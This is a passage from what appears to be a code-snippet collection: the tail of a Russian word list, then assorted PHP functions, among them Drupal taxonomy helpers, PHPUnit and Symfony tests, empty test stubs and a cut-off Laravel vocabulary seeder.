\"мазать\",\n \"майор\",\n \"максимум\",\n \"мальчик\",\n \"манера\",\n \"март\",\n \"масса\",\n \"мать\",\n \"мафия\",\n \"махать\",\n \"мачта\",\n \"машина\",\n \"маэстро\",\n \"маяк\",\n \"мгла\",\n \"мебель\",\n \"медведь\",\n \"мелкий\",\n \"мемуары\",\n \"менять\",\n \"мера\",\n \"место\",\n \"метод\",\n \"механизм\",\n \"мечтать\",\n \"мешать\",\n \"миграция\",\n \"мизинец\",\n \"микрофон\",\n \"миллион\",\n \"минута\",\n \"мировой\",\n \"миссия\",\n \"митинг\",\n \"мишень\",\n \"младший\",\n \"мнение\",\n \"мнимый\",\n \"могила\",\n \"модель\",\n \"мозг\",\n \"мойка\",\n \"мокрый\",\n \"молодой\",\n \"момент\",\n \"монах\",\n \"море\",\n \"мост\",\n \"мотор\",\n \"мохнатый\",\n \"мочь\",\n \"мошенник\",\n \"мощный\",\n \"мрачный\",\n \"мстить\",\n \"мудрый\",\n \"мужчина\",\n \"музыка\",\n \"мука\",\n \"мумия\",\n \"мундир\",\n \"муравей\",\n \"мусор\",\n \"мутный\",\n \"муфта\",\n \"муха\",\n \"мучить\",\n \"мушкетер\",\n \"мыло\",\n \"мысль\",\n \"мыть\",\n \"мычать\",\n \"мышь\",\n \"мэтр\",\n \"мюзикл\",\n \"мягкий\",\n \"мякиш\",\n \"мясо\",\n \"мятый\",\n \"мячик\",\n \"набор\",\n \"навык\",\n \"нагрузка\",\n \"надежда\",\n \"наемный\",\n \"нажать\",\n \"называть\",\n \"наивный\",\n \"накрыть\",\n \"налог\",\n \"намерен\",\n \"наносить\",\n \"написать\",\n \"народ\",\n \"натура\",\n \"наука\",\n \"нация\",\n \"начать\",\n \"небо\",\n \"невеста\",\n \"негодяй\",\n \"неделя\",\n \"нежный\",\n \"незнание\",\n \"нелепый\",\n \"немалый\",\n \"неправда\",\n \"нервный\",\n \"нести\",\n \"нефть\",\n \"нехватка\",\n \"нечистый\",\n \"неясный\",\n \"нива\",\n \"нижний\",\n \"низкий\",\n \"никель\",\n \"нирвана\",\n \"нить\",\n \"ничья\",\n \"ниша\",\n \"нищий\",\n \"новый\",\n \"нога\",\n \"ножницы\",\n \"ноздря\",\n \"ноль\",\n \"номер\",\n \"норма\",\n \"нота\",\n \"ночь\",\n \"ноша\",\n \"ноябрь\",\n \"нрав\",\n \"нужный\",\n \"нутро\",\n \"нынешний\",\n \"нырнуть\",\n \"ныть\",\n \"нюанс\",\n \"нюхать\",\n \"няня\",\n \"оазис\",\n \"обаяние\",\n \"обвинять\",\n \"обгонять\",\n \"обещать\",\n \"обжигать\",\n \"обзор\",\n \"обида\",\n \"область\",\n \"обмен\",\n \"обнимать\",\n \"оборона\",\n \"образ\",\n \"обучение\",\n \"обходить\",\n \"обширный\",\n \"общий\",\n \"объект\",\n \"обычный\",\n \"обязать\",\n \"овальный\",\n \"овес\",\n \"овощи\",\n \"овраг\",\n \"овца\",\n \"овчарка\",\n \"огненный\",\n \"огонь\",\n \"огромный\",\n \"огурец\",\n \"одежда\",\n \"одинокий\",\n \"одобрить\",\n \"ожидать\",\n \"ожог\",\n \"озарение\",\n \"озеро\",\n \"означать\",\n \"оказать\",\n \"океан\",\n \"оклад\",\n \"окно\",\n \"округ\",\n \"октябрь\",\n \"окурок\",\n \"олень\",\n \"опасный\",\n \"операция\",\n \"описать\",\n \"оплата\",\n \"опора\",\n \"оппонент\",\n \"опрос\",\n \"оптимизм\",\n \"опускать\",\n \"опыт\",\n \"орать\",\n \"орбита\",\n \"орган\",\n \"орден\",\n \"орел\",\n \"оригинал\",\n \"оркестр\",\n \"орнамент\",\n \"оружие\",\n \"осадок\",\n \"освещать\",\n \"осень\",\n \"осина\",\n \"осколок\",\n \"осмотр\",\n \"основной\",\n \"особый\",\n \"осуждать\",\n \"отбор\",\n \"отвечать\",\n \"отдать\",\n \"отец\",\n \"отзыв\",\n \"открытие\",\n \"отмечать\",\n \"относить\",\n \"отпуск\",\n \"отрасль\",\n \"отставка\",\n \"оттенок\",\n \"отходить\",\n \"отчет\",\n \"отъезд\",\n \"офицер\",\n \"охапка\",\n \"охота\",\n \"охрана\",\n \"оценка\",\n \"очаг\",\n \"очередь\",\n \"очищать\",\n \"очки\",\n \"ошейник\",\n \"ошибка\",\n \"ощущение\",\n \"павильон\",\n \"падать\",\n \"паек\",\n \"пакет\",\n \"палец\",\n \"память\",\n \"панель\",\n \"папка\",\n \"партия\",\n \"паспорт\",\n \"патрон\",\n \"пауза\",\n \"пафос\",\n \"пахнуть\",\n \"пациент\",\n \"пачка\",\n \"пашня\",\n \"певец\",\n \"педагог\",\n \"пейзаж\",\n \"пельмень\",\n \"пенсия\",\n \"пепел\",\n \"период\",\n \"песня\",\n \"петля\",\n \"пехота\",\n \"печать\",\n \"пешеход\",\n \"пещера\",\n \"пианист\",\n \"пиво\",\n \"пиджак\",\n \"пиковый\",\n \"пилот\",\n \"пионер\",\n \"пирог\",\n \"писать\",\n \"пить\",\n \"пицца\",\n \"пишущий\",\n \"пища\",\n \"план\",\n \"плечо\",\n \"плита\",\n \"плохой\",\n \"плыть\",\n \"плюс\",\n \"пляж\",\n \"победа\",\n \"повод\",\n \"погода\",\n \"подумать\",\n \"поехать\",\n \"пожимать\",\n \"позиция\",\n \"поиск\",\n \"покой\",\n \"получать\",\n \"помнить\",\n \"пони\",\n \"поощрять\",\n \"попадать\",\n \"порядок\",\n \"пост\",\n \"поток\",\n \"похожий\",\n \"поцелуй\",\n \"почва\",\n \"пощечина\",\n \"поэт\",\n \"пояснить\",\n \"право\",\n \"предмет\",\n \"проблема\",\n \"пруд\",\n \"прыгать\",\n \"прямой\",\n \"психолог\",\n \"птица\",\n \"публика\",\n \"пугать\",\n \"пудра\",\n \"пузырь\",\n \"пуля\",\n \"пункт\",\n \"пурга\",\n \"пустой\",\n \"путь\",\n \"пухлый\",\n \"пучок\",\n \"пушистый\",\n \"пчела\",\n \"пшеница\",\n \"пыль\",\n \"пытка\",\n \"пыхтеть\",\n \"пышный\",\n \"пьеса\",\n \"пьяный\",\n \"пятно\",\n \"работа\",\n \"равный\",\n \"радость\",\n \"развитие\",\n \"район\",\n \"ракета\",\n \"рамка\",\n \"ранний\",\n \"рапорт\",\n \"рассказ\",\n \"раунд\",\n \"рация\",\n \"рвать\",\n \"реальный\",\n \"ребенок\",\n \"реветь\",\n \"регион\",\n \"редакция\",\n \"реестр\",\n \"режим\",\n \"резкий\",\n \"рейтинг\",\n \"река\",\n \"религия\",\n \"ремонт\",\n \"рента\",\n \"реплика\",\n \"ресурс\",\n \"реформа\",\n \"рецепт\",\n \"речь\",\n \"решение\",\n \"ржавый\",\n \"рисунок\",\n \"ритм\",\n \"рифма\",\n \"робкий\",\n \"ровный\",\n \"рогатый\",\n \"родитель\",\n \"рождение\",\n \"розовый\",\n \"роковой\",\n \"роль\",\n \"роман\",\n \"ронять\",\n \"рост\",\n \"рота\",\n \"роща\",\n \"рояль\",\n \"рубль\",\n \"ругать\",\n \"руда\",\n \"ружье\",\n \"руины\",\n \"рука\",\n \"руль\",\n \"румяный\",\n \"русский\",\n \"ручка\",\n \"рыба\",\n \"рывок\",\n \"рыдать\",\n \"рыжий\",\n \"рынок\",\n \"рысь\",\n \"рыть\",\n \"рыхлый\",\n \"рыцарь\",\n \"рычаг\",\n \"рюкзак\",\n \"рюмка\",\n \"рябой\",\n \"рядовой\",\n \"сабля\",\n \"садовый\",\n \"сажать\",\n \"салон\",\n \"самолет\",\n \"сани\",\n \"сапог\",\n \"сарай\",\n \"сатира\",\n \"сауна\",\n \"сахар\",\n \"сбегать\",\n \"сбивать\",\n \"сбор\",\n \"сбыт\",\n \"свадьба\",\n \"свет\",\n \"свидание\",\n \"свобода\",\n \"связь\",\n \"сгорать\",\n \"сдвигать\",\n \"сеанс\",\n \"северный\",\n \"сегмент\",\n \"седой\",\n \"сезон\",\n \"сейф\",\n \"секунда\",\n \"сельский\",\n \"семья\",\n \"сентябрь\",\n \"сердце\",\n \"сеть\",\n \"сечение\",\n \"сеять\",\n \"сигнал\",\n \"сидеть\",\n \"сизый\",\n \"сила\",\n \"символ\",\n \"синий\",\n \"сирота\",\n \"система\",\n \"ситуация\",\n \"сиять\",\n \"сказать\",\n \"скважина\",\n \"скелет\",\n \"скидка\",\n \"склад\",\n \"скорый\",\n \"скрывать\",\n \"скучный\",\n \"слава\",\n \"слеза\",\n \"слияние\",\n \"слово\",\n \"случай\",\n \"слышать\",\n \"слюна\",\n \"смех\",\n \"смирение\",\n \"смотреть\",\n \"смутный\",\n \"смысл\",\n \"смятение\",\n \"снаряд\",\n \"снег\",\n \"снижение\",\n \"сносить\",\n \"снять\",\n \"событие\",\n \"совет\",\n \"согласие\",\n \"сожалеть\",\n \"сойти\",\n \"сокол\",\n \"солнце\",\n \"сомнение\",\n \"сонный\",\n \"сообщать\",\n \"соперник\",\n \"сорт\",\n \"состав\",\n \"сотня\",\n \"соус\",\n \"социолог\",\n \"сочинять\",\n \"союз\",\n \"спать\",\n \"спешить\",\n \"спина\",\n \"сплошной\",\n \"способ\",\n \"спутник\",\n \"средство\",\n \"срок\",\n \"срывать\",\n \"стать\",\n \"ствол\",\n \"стена\",\n \"стихи\",\n \"сторона\",\n \"страна\",\n \"студент\",\n \"стыд\",\n \"субъект\",\n \"сувенир\",\n \"сугроб\",\n \"судьба\",\n \"суета\",\n \"суждение\",\n \"сукно\",\n \"сулить\",\n \"сумма\",\n \"сунуть\",\n \"супруг\",\n \"суровый\",\n \"сустав\",\n \"суть\",\n \"сухой\",\n \"суша\",\n \"существо\",\n \"сфера\",\n \"схема\",\n \"сцена\",\n \"счастье\",\n \"счет\",\n \"считать\",\n \"сшивать\",\n \"съезд\",\n \"сынок\",\n \"сыпать\",\n \"сырье\",\n \"сытый\",\n \"сыщик\",\n \"сюжет\",\n \"сюрприз\",\n \"таблица\",\n \"таежный\",\n \"таинство\",\n \"тайна\",\n \"такси\",\n \"талант\",\n \"таможня\",\n \"танец\",\n \"тарелка\",\n \"таскать\",\n \"тахта\",\n \"тачка\",\n \"таять\",\n \"тварь\",\n \"твердый\",\n \"творить\",\n \"театр\",\n \"тезис\",\n \"текст\",\n \"тело\",\n \"тема\",\n \"тень\",\n \"теория\",\n \"теплый\",\n \"терять\",\n \"тесный\",\n \"тетя\",\n \"техника\",\n \"течение\",\n \"тигр\",\n \"типичный\",\n \"тираж\",\n \"титул\",\n \"тихий\",\n \"тишина\",\n \"ткань\",\n \"товарищ\",\n \"толпа\",\n \"тонкий\",\n \"топливо\",\n \"торговля\",\n \"тоска\",\n \"точка\",\n \"тощий\",\n \"традиция\",\n \"тревога\",\n \"трибуна\",\n \"трогать\",\n \"труд\",\n \"трюк\",\n \"тряпка\",\n \"туалет\",\n \"тугой\",\n \"туловище\",\n \"туман\",\n \"тундра\",\n \"тупой\",\n \"турнир\",\n \"тусклый\",\n \"туфля\",\n \"туча\",\n \"туша\",\n \"тыкать\",\n \"тысяча\",\n \"тьма\",\n \"тюльпан\",\n \"тюрьма\",\n \"тяга\",\n \"тяжелый\",\n \"тянуть\",\n \"убеждать\",\n \"убирать\",\n \"убогий\",\n \"убыток\",\n \"уважение\",\n \"уверять\",\n \"увлекать\",\n \"угнать\",\n \"угол\",\n \"угроза\",\n \"удар\",\n \"удивлять\",\n \"удобный\",\n \"уезд\",\n \"ужас\",\n \"ужин\",\n \"узел\",\n \"узкий\",\n \"узнавать\",\n \"узор\",\n \"уйма\",\n \"уклон\",\n \"укол\",\n \"уксус\",\n \"улетать\",\n \"улица\",\n \"улучшать\",\n \"улыбка\",\n \"уметь\",\n \"умиление\",\n \"умный\",\n \"умолять\",\n \"умысел\",\n \"унижать\",\n \"уносить\",\n \"уныние\",\n \"упасть\",\n \"уплата\",\n \"упор\",\n \"упрекать\",\n \"упускать\",\n \"уран\",\n \"урна\",\n \"уровень\",\n \"усадьба\",\n \"усердие\",\n \"усилие\",\n \"ускорять\",\n \"условие\",\n \"усмешка\",\n \"уснуть\",\n \"успеть\",\n \"усыпать\",\n \"утешать\",\n \"утка\",\n \"уточнять\",\n \"утро\",\n \"утюг\",\n \"уходить\",\n \"уцелеть\",\n \"участие\",\n \"ученый\",\n \"учитель\",\n \"ушко\",\n \"ущерб\",\n \"уютный\",\n \"уяснять\",\n \"фабрика\",\n \"фаворит\",\n \"фаза\",\n \"файл\",\n \"факт\",\n \"фамилия\",\n \"фантазия\",\n \"фара\",\n \"фасад\",\n \"февраль\",\n \"фельдшер\",\n \"феномен\",\n \"ферма\",\n \"фигура\",\n \"физика\",\n \"фильм\",\n \"финал\",\n \"фирма\",\n \"фишка\",\n \"флаг\",\n \"флейта\",\n \"флот\",\n \"фокус\",\n \"фольклор\",\n \"фонд\",\n \"форма\",\n \"фото\",\n \"фраза\",\n \"фреска\",\n \"фронт\",\n \"фрукт\",\n \"функция\",\n \"фуражка\",\n \"футбол\",\n \"фыркать\",\n \"халат\",\n \"хамство\",\n \"хаос\",\n \"характер\",\n \"хата\",\n \"хватать\",\n \"хвост\",\n \"хижина\",\n \"хилый\",\n \"химия\",\n \"хирург\",\n \"хитрый\",\n \"хищник\",\n \"хлам\",\n \"хлеб\",\n \"хлопать\",\n \"хмурый\",\n \"ходить\",\n \"хозяин\",\n \"хоккей\",\n \"холодный\",\n \"хороший\",\n \"хотеть\",\n \"хохотать\",\n \"храм\",\n \"хрен\",\n \"хриплый\",\n \"хроника\",\n \"хрупкий\",\n \"художник\",\n \"хулиган\",\n \"хутор\",\n \"царь\",\n \"цвет\",\n \"цель\",\n \"цемент\",\n \"центр\",\n \"цепь\",\n \"церковь\",\n \"цикл\",\n \"цилиндр\",\n \"циничный\",\n \"цирк\",\n \"цистерна\",\n \"цитата\",\n \"цифра\",\n \"цыпленок\",\n \"чадо\",\n \"чайник\",\n \"часть\",\n \"чашка\",\n \"человек\",\n \"чемодан\",\n \"чепуха\",\n \"черный\",\n \"честь\",\n \"четкий\",\n \"чехол\",\n \"чиновник\",\n \"число\",\n \"читать\",\n \"членство\",\n \"чреватый\",\n \"чтение\",\n \"чувство\",\n \"чугунный\",\n \"чудо\",\n \"чужой\",\n \"чукча\",\n \"чулок\",\n \"чума\",\n \"чуткий\",\n \"чучело\",\n \"чушь\",\n \"шаблон\",\n \"шагать\",\n \"шайка\",\n \"шакал\",\n \"шалаш\",\n \"шампунь\",\n \"шанс\",\n \"шапка\",\n \"шарик\",\n \"шасси\",\n \"шатер\",\n \"шахта\",\n \"шашлык\",\n \"швейный\",\n \"швырять\",\n \"шевелить\",\n \"шедевр\",\n \"шейка\",\n \"шелковый\",\n \"шептать\",\n \"шерсть\",\n \"шестерка\",\n \"шикарный\",\n \"шинель\",\n \"шипеть\",\n \"широкий\",\n \"шить\",\n \"шишка\",\n \"шкаф\",\n \"школа\",\n \"шкура\",\n \"шланг\",\n \"шлем\",\n \"шлюпка\",\n \"шляпа\",\n \"шнур\",\n \"шоколад\",\n \"шорох\",\n \"шоссе\",\n \"шофер\",\n \"шпага\",\n \"шпион\",\n \"шприц\",\n \"шрам\",\n \"шрифт\",\n \"штаб\",\n \"штора\",\n \"штраф\",\n \"штука\",\n \"штык\",\n \"шуба\",\n \"шуметь\",\n \"шуршать\",\n \"шутка\",\n \"щадить\",\n \"щедрый\",\n \"щека\",\n \"щель\",\n \"щенок\",\n \"щепка\",\n \"щетка\",\n \"щука\",\n \"эволюция\",\n \"эгоизм\",\n \"экзамен\",\n \"экипаж\",\n \"экономия\",\n \"экран\",\n \"эксперт\",\n \"элемент\",\n \"элита\",\n \"эмблема\",\n \"эмигрант\",\n \"эмоция\",\n \"энергия\",\n \"эпизод\",\n \"эпоха\",\n \"эскиз\",\n \"эссе\",\n \"эстрада\",\n \"этап\",\n \"этика\",\n \"этюд\",\n \"эфир\",\n \"эффект\",\n \"эшелон\",\n \"юбилей\",\n \"юбка\",\n \"южный\",\n \"юмор\",\n \"юноша\",\n \"юрист\",\n \"яблоко\",\n \"явление\",\n \"ягода\",\n \"ядерный\",\n \"ядовитый\",\n \"ядро\",\n \"язва\",\n \"язык\",\n \"яйцо\",\n \"якорь\",\n \"январь\",\n \"японец\",\n \"яркий\",\n \"ярмарка\",\n \"ярость\",\n \"ярус\",\n \"ясный\",\n \"яхта\",\n \"ячейка\",\n \"ящик\" \n ];\n }",
"public function testCompleteScenario()\n {\n $client = static::createClient();\n\n // Create a new entry in the database\n $crawler = $client->request('GET', '/admin/structure/taxonomy/');\n $this->assertEquals(200, $client->getResponse()->getStatusCode(), $client->getResponse()->getContent());\n $crawler = $client->click($crawler->selectLink('Create New Vocabulary')->link());\n\n // Fill in the form and submit it\n $form = $crawler->selectButton('Create')->form(array(\n 'activelamp_taxonomybundle_vocabulary[labelName]' => 'Rating',\n 'activelamp_taxonomybundle_vocabulary[name]' => 'rating',\n 'activelamp_taxonomybundle_vocabulary[description]' => 'Test adding a rating vocabulary',\n ));\n\n $client->submit($form);\n $crawler = $client->followRedirect();\n\n // Check data in the show view\n $this->assertGreaterThan(0, $crawler->filter('td:contains(\"Rating\")')->count(), 'Missing element td:contains(\"Rating\")');\n\n // Edit the entity\n $crawler = $client->click($crawler->selectLink('Edit')->link());\n\n $form = $crawler->selectButton('Update')->form(array(\n 'activelamp_taxonomybundle_vocabulary[labelName]' => 'Foo',\n 'activelamp_taxonomybundle_vocabulary[name]' => 'foo',\n 'activelamp_taxonomybundle_vocabulary[description]' => 'Updated rating to Foo',\n ));\n\n $client->submit($form);\n $crawler = $client->followRedirect();\n $this->assertGreaterThan(0, $crawler->filter('td:contains(\"Foo\")')->count(), 'Missing element td:contains(\"Foo\")');\n\n // Check the element contains an attribute with value equals \"Foo\"\n $crawler = $client->click($crawler->selectLink('Edit')->link());\n $this->assertGreaterThan(0, $crawler->filter('[value=\"Foo\"]')->count(), 'Missing element [value=\"Foo\"]');\n\n // Delete the entity\n $client->submit($crawler->selectButton('Delete')->form());\n $crawler = $client->followRedirect();\n\n // Check the entity has been delete on the list\n $this->assertNotRegExp('/Foo/', $client->getResponse()->getContent());\n }",
"public function testValidateDocumentRtfValidation()\n {\n }",
"protected function getPreviewLanguages() {}",
"public function testShortValuableWord() : void\n {\n $word = 'zoo';\n $this->assertEquals(12, score($word));\n }",
"public function hasVocabularyTerms() {\n return $this->_has(2);\n }",
"public function testListExperts()\n {\n }",
"public function getVocabularyAnnotations(): array\n {\n return [];\n }",
"function _entity_translation_taxonomy_reference_get_vocabulary($field) {\n $vocabulary = NULL;\n if (!empty($field['settings']['allowed_values'])) {\n $vids = array();\n $vocabularies = taxonomy_vocabulary_get_names();\n foreach ($field['settings']['allowed_values'] as $tree) {\n $vids[] = $vocabularies[$tree['vocabulary']]->vid;\n }\n $vocabulary = taxonomy_vocabulary_load(reset($vids));\n }\n return $vocabulary;\n}",
"public function testMediumValuableWord() : void\n {\n $word = 'quirky';\n $this->assertEquals(22, score($word));\n }",
"public function test_scenario1() {\n\n $data = array(\n array(\"model\" =>\n array(\"topic_model\" =>\n array(\"alpha\" => 0.08,\n \"beta\" => 0.1,\n \"hashed_seed\" => 0,\n \"language\" => \"en\",\n \"bigrams\" => True,\n \"case_sensitive\" => False,\n \"term_topic_assignments\" => array(array(0, 0, 1, 2),\n array(0, 1, 2, 0),\n array(1, 2, 0, 0),\n array(0, 0, 2, 0)),\n \"termset\" => array(\"cycling\", \"playing\", \"shouldn't\", \"uńąnimous court\"),\n \"options\" => [],\n \"topics\" => array(array(\"name\" => \"Topic 1\",\n \"id\" => \"000000\",\n \"top_terms\" => array(\"a\", \"b\"),\n \"probability\" => 0.1),\n array(\"name\" => \"Topic 2\",\n \"id\" => \"000001\",\n \"top_terms\" => array(\"c\", \"d\"),\n \"probability\" => 0.1),\n array(\"name\" => \"Topic 3\",\n \"id\" => \"000000\",\n \"top_terms\" => array(\"e\", \"f\"),\n \"probability\" => 0.1),\n array(\"name\" => \"Topic 4\",\n \"id\" => \"000000\",\n \"top_terms\" => array(\"g\", \"h\"),\n \"probability\" => 0.1)),\n \"fields\" => array(\"000001\" => array(\"datatype\" => \"string\",\n \"name\" => \"TEST TEXT\",\n \"optype\" => \"text\",\n \"order\" => 0,\n \"preferred\" => True,\n \"summary\" => [],\n \"term_analysis\" => []))),\n \"resource\" => \"topicmodel/aaaaaabbbbbbccccccdddddd\",\n \"status\" => array(\"code\" => 5)),\n \"text\" => array(\"TEST TEXT\" => \"uńąnimous court 'UŃĄNIMOUS COURT' `play``the plays PLAYing SHOULDN'T CYCLE cycling shouldn't uńąnimous or court's\"),\n \"expected\" => array(array(\"name\" => 'Topic 1', \"probability\" => 0.17068527918781726),\n array(\"name\" => 'Topic 2', \"probability\" => 0.1865482233502538),\n array(\"name\" => 'Topic 3', \"probability\" => 0.5157043147208121),\n array(\"name\" => 'Topic 4', \"probability\" => 0.12706218274111675))));\n\n foreach($data as $item) {\n print \"\\nSuccessfully creating a local distribution from a Topic Model\\n\";\n print \"I create a local topic model\\n\";\n $object = json_decode(json_encode($item[\"model\"]), FALSE);\n $local_topic_model = new TopicModel($object);\n\n print \"I create a distribution for local topic model\\n\";\n $distribution = $local_topic_model->distribution($item[\"text\"]);\n\n print \"And the distribution for local topic model equals the expected values.\\n\";\n $this->assertEquals($distribution, $item[\"expected\"]);\n }\n }",
"function taxonomy_post_update_remove_hierarchy_from_vocabularies(&$sandbox = NULL) {\n \\Drupal::classResolver(ConfigEntityUpdater::class)->update($sandbox, 'taxonomy_vocabulary', function () {\n return TRUE;\n });\n}",
"public function test_get_supported_languages()\n {\n $ocr = new \\App\\Modules\\OCR\\OCR();\n\n $lang = $ocr->supportedLanguages();\n\n PHPUnit::assertContains(\n 'eng',\n $lang,\n );\n\n }",
"public function testListDocuments()\n {\n }",
"public function test_library_volumeLanguage() {\n\t\t$path = route('v2_library_volumeLanguage', [], false);\n\n\t\techo \"\\nTesting: \" . route('v2_library_volumeLanguage', $this->params);\n\t\t$response = $this->get(route('v2_library_volumeLanguage'), $this->params);\n\t\t$response->assertSuccessful();\n\t\t$response->assertJsonStructure( [$this->getSchemaKeys('v2_library_language')]);\n\t\t$this->compareToOriginal($path, [$this->getSchemaKeys('v2_library_language')]);\n\t}",
"public function indexAction() {\n\t$vocab = array(\n\t\t'activities', 'periods', 'cultures',\n\t\t'denominations', 'rulers', 'surfaces',\n\t\t'mints', 'objects', 'manufactures',\n\t\t'workflows', 'notes', 'methods',\n\t\t'preservations');\n\t$base = $this->view->serverUrl() . '/database/terminology/';\n\t$vocab3 = sort($vocab);\n\t$vocab2 = NULL;\n\tforeach($vocab as $v){\n\t\t$vocab2[] = array(\n\t\t'type' => $v,\n\t\t'html' => $base . $v,\n\t\t'xml' => $base . $v . '/format/xml',\n\t\t'json' => $base . $v . '/format/json');\n\t}\n\t$this->view->vocabularies = $vocab2;\n\t}",
"function testMovie2(): void\n {\n // https://www.imdb.com/title/tt0481536/\n\n Global $config;\n $config['http_header_accept_language'] = 'en-US,en;q=0.9';\n\n $id = '0481536';\n $data = engineGetData($id, 'imdb', false);\n $this->assertNotEmpty($data);\n\n // $this->printData($data);\n\n $this->assertNotContains('istv', $data);\n $this->assertMatchesRegularExpression('/After being mistaken for terrorists and thrown into Guantánamo Bay, stoners Harold and Kumar escape and return to the U.S./', $data['plot']);\n }",
"function get_vocab($tag)\n{\n global $vocab, $unicode_encoding;\n\n if ($unicode_encoding && (strcasecmp($vocab[\"charset\"], \"utf-8\") != 0))\n {\n if ((get_server_os() == 'aix') &&\n (strcasecmp(ICONV_IMPL, 'unknown') == 0) &&\n (strcasecmp(ICONV_VERSION, 'unknown') == 0))\n {\n $translated = get_vocab_utf8_aix($tag);\n }\n else\n {\n $translated = iconv($vocab[\"charset\"],\"utf-8\",$vocab[$tag]);\n }\n }\n else\n {\n $translated = $vocab[$tag];\n }\n return $translated;\n}",
"public function testListCategories()\n {\n }",
"public function WordCollection()\n {\n $myWords = parent::WordCollection();\n\n if(!$myWords->loadedFromFile())\n {\n // English Words\n $myWords->addText(\"en-us\", \"TITLE\", \"Module Login\");\n\n // Portuguese Words\n $myWords->addText(\"pt-br\", \"TITLE\", \"Módulo de Login\");\n }\n\n return $myWords;\n }",
"public function hasVocabularies() {\n return $this->_has(4);\n }",
"public function testValidateDocumentTxtValidation()\n {\n }",
"public function initializeLanguages() {}",
"public function index()\n {\n echo \"Đây là trang Index Test resource\";\n }",
"public function testExample()\n {\n // can pass optional arguments: $langFrom, $langTo, API $url\n $client = new \\Errogaht\\YandexOCR\\Client();\n\n //tell path to recognizing file\n $client->setFilePath(__DIR__ . DIRECTORY_SEPARATOR . '1e741d3b-ba67-42e5-8229-f07a72072c96.png');\n\n //get response from Yandex translate\n $response = $client->request();\n $this->assertNotEmpty($response);\n\n //convert response to plain text\n $texter = new \\Errogaht\\YandexOCR\\Response2Text($response);\n $text = $texter->getText();\n $this->assertNotEmpty($text);\n\n //ensure that recognize pass\n $this->assertNotFalse(strpos($text, 'написано'));\n\n }",
"function createTerm($vocabulary) {\n $term = entity_create('taxonomy_term', array(\n 'name' => $this->randomName(),\n 'description' => $this->randomName(),\n // Use the first available text format.\n 'format' => db_query_range('SELECT format FROM {filter_format}', 0, 1)->fetchField(),\n 'vid' => $vocabulary->vid,\n 'langcode' => LANGUAGE_NOT_SPECIFIED,\n ));\n taxonomy_term_save($term);\n return $term;\n }",
"public function testGetSnippet()\n {\n\n }",
"public function testFrStemmer()\n {\n $fs = Snowball::factory(array('language' => 'french'));\n\n $diffs = file('../data/test/' . static::STEMMER_DICTIONNARY_FILENAME_FR);\n\n $words = [];\n $stems = [];\n foreach ($diffs as $diff) {\n list($word, $stems[]) = mb_split('\\s+', $diff);\n $words[] = $fs->stem($word);\n }\n $this->assertSame($stems, $words);\n }",
"function testLanguage()\r\n {\r\n\t\tglobal $webUrl, $SERVER, $DATABASE;\r\n\r\n // Locate the list page of language.\r\n\t\t$this->assertTrue($this->get(\"$webUrl/languages.php\", array(\r\n\t\t\t 'server' => $SERVER,\r\n\t\t\t\t\t\t'database' => $DATABASE,\r\n\t\t\t\t\t\t'subject' => 'database'))\r\n\t\t\t\t\t);\r\n\r\n $this->assertWantedPattern('/sql/');\r\n\r\n return TRUE;\r\n }",
"public function testGetDocument()\n {\n }",
"public function testEnStemmer()\n {\n $fs = Snowball::factory(array('language' => 'english'));\n\n $diffs = file('../data/test/' . static::STEMMER_DICTIONNARY_FILENAME_EN);\n\n $words = [];\n $stems = [];\n foreach ($diffs as $diff) {\n list($word, $stems[]) = mb_split('\\s+', $diff);\n $words[] = $fs->stem($word);\n }\n $this->assertSame($stems, $words);\n }",
"public function selectAllVocabulary() {\n $selectSQL = \"select id, type, value, uri, description from vocabulary;\";\n $result = $this->sdb->query($selectSQL, array());\n $allVocab = array();\n while ($row = $this->sdb->fetchrow($result)) {\n array_push($allVocab, $row);\n }\n return $allVocab;\n }",
"public function testListCountries()\n {\n }",
"public function testExample()\n { \n\n $data = [\n 'name'=>'Побег из Шоушенка',\n 'description'=>'Фильм',\n ];\n\n $this->put('/film',$data)->seeJsonEquals([\n 'created'=>true\n ]);\n }",
"public function testGetExpert()\n {\n }",
"public function testTermNode() {\n $this->container->get('entity_type.manager')\n ->getStorage('node')\n ->resetCache([1, 2]);\n\n $nodes = Node::loadMultiple([1, 2]);\n $node = $nodes[1];\n $this->assertCount(1, $node->field_vocabulary_1_i_0_);\n $this->assertSame('1', $node->field_vocabulary_1_i_0_[0]->target_id);\n $node = $nodes[2];\n $this->assertCount(2, $node->field_vocabulary_2_i_1_);\n $this->assertSame('2', $node->field_vocabulary_2_i_1_[0]->target_id);\n $this->assertSame('3', $node->field_vocabulary_2_i_1_[1]->target_id);\n\n // Tests the Drupal 6 term-node association to Drupal 8 node revisions.\n $this->executeMigrations(['d6_term_node_revision']);\n\n $node = \\Drupal::entityTypeManager()->getStorage('node')->loadRevision(2001);\n $this->assertCount(2, $node->field_vocabulary_3_i_2_);\n $this->assertSame('4', $node->field_vocabulary_3_i_2_[0]->target_id);\n $this->assertSame('5', $node->field_vocabulary_3_i_2_[1]->target_id);\n }",
"public function language();",
"public function language();",
"public function testModels()\n {\n foreach(array('TextPageCategory') as $className){\n $this->className = $className;\n $this->allByDocExample();\n }\n }",
"public function testGetLowStockTags()\n {\n }",
"public function test_getLowStockTags() {\n\n }",
"public function testAddSnippet()\n {\n\n }",
"public function run()\n {\n DB::table('vocabularies')->insert([\n [\n 'id' => 1,\n 'word' => 'Accommodate',\n 'pronunciation' => 'əˈkɑːmədeɪt',\n 'meaning'=>'đáp ứng, cung cấp chỗ ở',\n 'image' => 'public/word1.png',\n 'verb_form' => 'verb',\n 'sound' => 'public/sound1.mp3',\n 'topic_id' => 1\n \n ],[\n 'id' => 2,\n 'word' => 'Arrange',\n 'pronunciation' => 'əˈreɪndʒ',\n 'meaning'=>'sắp xếp',\n 'image' => 'public/word2.png',\n 'verb_form' => 'verb',\n 'sound' => 'public/sound2.mp3',\n 'topic_id' => 1\n \n ],[\n 'id' => 3,\n 'word' => 'Associate',\n 'pronunciation' => 'əˈsoʊʃieɪt',\n 'meaning'=>'liên tưởng, liên kết',\n 'image' => 'public/word3.png',\n 'verb_form' => 'verb',\n 'sound' => 'public/sound3.mp3',\n 'topic_id' => 1\n \n ],[\n 'id' => 4,\n 'word' => 'Disk',\n 'pronunciation' => 'disk',\n 'meaning'=>'đĩa, ổ đĩa',\n 'image' => 'public/word11.png',\n 'verb_form' => 'noun',\n 'sound' => 'public/sound11.mp3',\n 'topic_id' => 2\n \n ],[\n 'id' => 5,\n 'word' => 'facilitate',\n 'pronunciation' => 'fəˈsɪlɪteɪt',\n 'meaning'=>'tạo điều kiện thuận lợi\n ',\n 